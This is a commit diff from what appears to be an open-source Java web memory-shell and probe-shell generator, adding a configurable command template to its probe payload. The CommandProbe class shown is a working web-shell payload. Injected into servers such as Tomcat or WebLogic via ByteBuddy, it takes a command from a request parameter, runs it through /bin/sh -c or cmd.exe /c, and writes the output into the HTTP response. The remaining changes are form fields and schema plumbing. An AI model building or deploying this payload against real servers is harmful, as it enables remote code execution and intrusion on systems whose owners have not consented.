feat: support command probe template
Dev Deploy / Build Jar (push) Has been cancelled
Dev Deploy / Docker Push (push) Has been cancelled
Dev Deploy / Deploy to Maven Central (push) Has been cancelled
Dev Deploy / Deploy to Northflank (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / springwebflux (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled

This commit is contained in:
ReaJason
2025-12-07 17:13:52 +08:00
parent 6bbf275c5e
commit e5aa23256e
10 changed files with 99 additions and 11 deletions
@@ -21,6 +21,7 @@ public class ProbeShellGenerateRequest {
private String server; private String server;
private String sleepServer; private String sleepServer;
private String reqParamName; private String reqParamName;
private String commandTemplate;
} }
public ProbeContentConfig parseProbeContentConfig() { public ProbeContentConfig parseProbeContentConfig() {
@@ -34,6 +35,7 @@ public class ProbeShellGenerateRequest {
.build(); .build();
case ResponseBody -> ResponseBodyConfig.builder() case ResponseBody -> ResponseBodyConfig.builder()
.reqParamName(probeContentConfig.reqParamName) .reqParamName(probeContentConfig.reqParamName)
.commandTemplate(probeContentConfig.commandTemplate)
.server(probeContentConfig.server) .server(probeContentConfig.server)
.build(); .build();
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod()); default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
@@ -23,4 +23,9 @@ public class ResponseBodyConfig extends ProbeContentConfig {
* 内置执行类加载的字节码 * 内置执行类加载的字节码
*/ */
private String base64Bytes; private String base64Bytes;
/**
* 命令执行模板,例如 sh -c "{command}" 2>&1,使用 {command} 作为占位符
*/
private String commandTemplate;
} }
@@ -48,11 +48,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
DynamicType.Builder<?> builder = buddy.redefine(writerClass) DynamicType.Builder<?> builder = buddy.redefine(writerClass)
.name(probeConfig.getShellClassName()) .name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion())) .visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(Advice.to(runnerClass).on(named("run"))); .visit(Advice.withCustomMapping()
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) { if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq", builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
probeConfig.getShellClassName(), ShellCommonUtil.class.getName())) probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name) .visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
.to(getDataFromReqInterceptor).on(named("getDataFromReq"))); .to(getDataFromReqInterceptor).on(named("getDataFromReq")));
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) { } else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes())); builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
@@ -106,7 +109,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
static class getDataFromReqInterceptor { static class getDataFromReqInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) Object request, public static void enter(@Advice.Argument(value = 0) Object request,
@NameAnnotation String name, @ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception { @Advice.Return(readOnly = false) String ret) throws Exception {
try { try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}); String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
@@ -123,7 +126,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
static class getDataFromReqJettyInterceptor { static class getDataFromReqJettyInterceptor {
@Advice.OnMethodExit @Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) Object request, public static void enter(@Advice.Argument(value = 0) Object request,
@NameAnnotation String name, @ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception { @Advice.Return(readOnly = false) String ret) throws Exception {
try { try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}); String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
@@ -144,7 +147,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
} }
@Retention(RetentionPolicy.RUNTIME) @Retention(RetentionPolicy.RUNTIME)
public @interface NameAnnotation { public @interface ValueAnnotation {
} }
} }
@@ -1,5 +1,6 @@
package com.reajason.javaweb.probe.payload; package com.reajason.javaweb.probe.payload;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
@@ -17,15 +18,33 @@ public class CommandProbe {
} }
@Advice.OnMethodExit @Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception { public static String exit(@Advice.Argument(0) String data,
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data}; @Advice.Return(readOnly = false) String ret,
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start(); @ResponseBodyGenerator.ValueAnnotation String template
) throws Exception {
String[] cmdarray = null;
String t = template;
if (t == null) {
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
} else {
if (t.contains("\"{command}\"")) {
String[] split = t.split("\\s+");
for (int i = 0; i < split.length; i++) {
split[i] = split[i].replace("\"{command}\"", data);
}
cmdarray = split;
} else {
String cmdline = t.replace("{command}", data);
cmdarray = cmdline.split("\\s+");
}
}
Process process = new ProcessBuilder(cmdarray).redirectErrorStream(true).start();
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next(); return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} }
@Override @Override
@SneakyThrows @SneakyThrows
public String toString() { public String toString() {
return CommandProbe.exit(command, super.toString()); return CommandProbe.exit(command, super.toString(), null);
} }
} }
@@ -156,6 +156,51 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
[form.control, t], [form.control, t],
); );
const CommandTemplateField = useMemo(
() => (
<>
<div className="space-y-2 pt-4 border-t mt-4">
<FormField
control={form.control}
name="reqParamName"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>{t("common:paramName")}</FormFieldLabel>
<FormControl>
<Input placeholder={t("placeholders.input")} {...field} />
</FormControl>
<FormMessage />
</FormFieldItem>
)}
/>
</div>
<div className="space-y-2">
<FormField
control={form.control}
name="commandTemplate"
render={({ field }) => (
<FormFieldItem>
<FormFieldLabel>
{t("common:commandTemplate")} {t("common:optional")}
</FormFieldLabel>
<FormControl>
<Input
{...field}
placeholder={t("common:commandTemplate.placeholder")}
/>
</FormControl>
<p className="text-xs text-muted-foreground mt-1">
{t("common:commandTemplate.description")}
</p>
</FormFieldItem>
)}
/>
</div>
</>
),
[form.control, t],
);
const SleepFields = useMemo( const SleepFields = useMemo(
() => ( () => (
<div className="space-y-2 pt-4 border-t mt-4"> <div className="space-y-2 pt-4 border-t mt-4">
@@ -216,6 +261,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
const isServerContent = watchedProbeContent === "Server"; const isServerContent = watchedProbeContent === "Server";
if (isBodyMethod && needParam) { if (isBodyMethod && needParam) {
if (watchedProbeContent === "Command") {
return CommandTemplateField;
}
return RequestParamField; return RequestParamField;
} }
@@ -224,7 +272,13 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
} }
return null; return null;
}, [watchedProbeMethod, watchedProbeContent, RequestParamField, SleepFields]); }, [
watchedProbeMethod,
watchedProbeContent,
RequestParamField,
SleepFields,
CommandTemplateField,
]);
const DNSLogSection = useMemo( const DNSLogSection = useMemo(
() => ( () => (
+2
View File
@@ -52,6 +52,7 @@ function SelectContent({
className, className,
children, children,
position = "popper", position = "popper",
align = "center",
...props ...props
}: React.ComponentProps<typeof SelectPrimitive.Content>) { }: React.ComponentProps<typeof SelectPrimitive.Content>) {
return ( return (
@@ -65,6 +66,7 @@ function SelectContent({
className, className,
)} )}
position={position} position={position}
align={align}
{...props} {...props}
> >
<SelectScrollUpButton /> <SelectScrollUpButton />
+1 -1
View File
@@ -40,7 +40,7 @@ function TabsTrigger({
<TabsPrimitive.Trigger <TabsPrimitive.Trigger
data-slot="tabs-trigger" data-slot="tabs-trigger"
className={cn( className={cn(
"dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4", "data-[state=active]:bg-background dark:data-[state=active]:text-foreground focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:outline-ring dark:data-[state=active]:border-input dark:data-[state=active]:bg-input/30 text-foreground dark:text-muted-foreground inline-flex h-[calc(100%-1px)] flex-1 items-center justify-center gap-1.5 rounded-md border border-transparent px-2 py-1 text-sm font-medium whitespace-nowrap transition-[color,box-shadow] focus-visible:ring-[3px] focus-visible:outline-1 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:shadow-sm [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4",
className, className,
)} )}
{...props} {...props}
+1
View File
@@ -26,6 +26,7 @@ export interface ProbeContentConfig {
sleepServer?: string; sleepServer?: string;
server?: string; server?: string;
reqParamName?: string; reqParamName?: string;
commandTemplate?: string;
} }
export interface DNSLogConfig { export interface DNSLogConfig {
+1
View File
@@ -160,6 +160,7 @@ export const probeShellFormSchema = yup.object().shape({
host: yup.string().optional(), host: yup.string().optional(),
server: yup.string().optional(), server: yup.string().optional(),
reqParamName: yup.string().optional(), reqParamName: yup.string().optional(),
commandTemplate: yup.string().optional(),
seconds: yup.number().optional(), seconds: yup.number().optional(),
sleepServer: yup.string().optional(), sleepServer: yup.string().optional(),
packingMethod: yup.string().required(), packingMethod: yup.string().required(),
+1
View File
@@ -67,6 +67,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
sleepServer: formValue.sleepServer, sleepServer: formValue.sleepServer,
server: formValue.server, server: formValue.server,
reqParamName: formValue.reqParamName, reqParamName: formValue.reqParamName,
commandTemplate: formValue.commandTemplate,
}; };
return { return {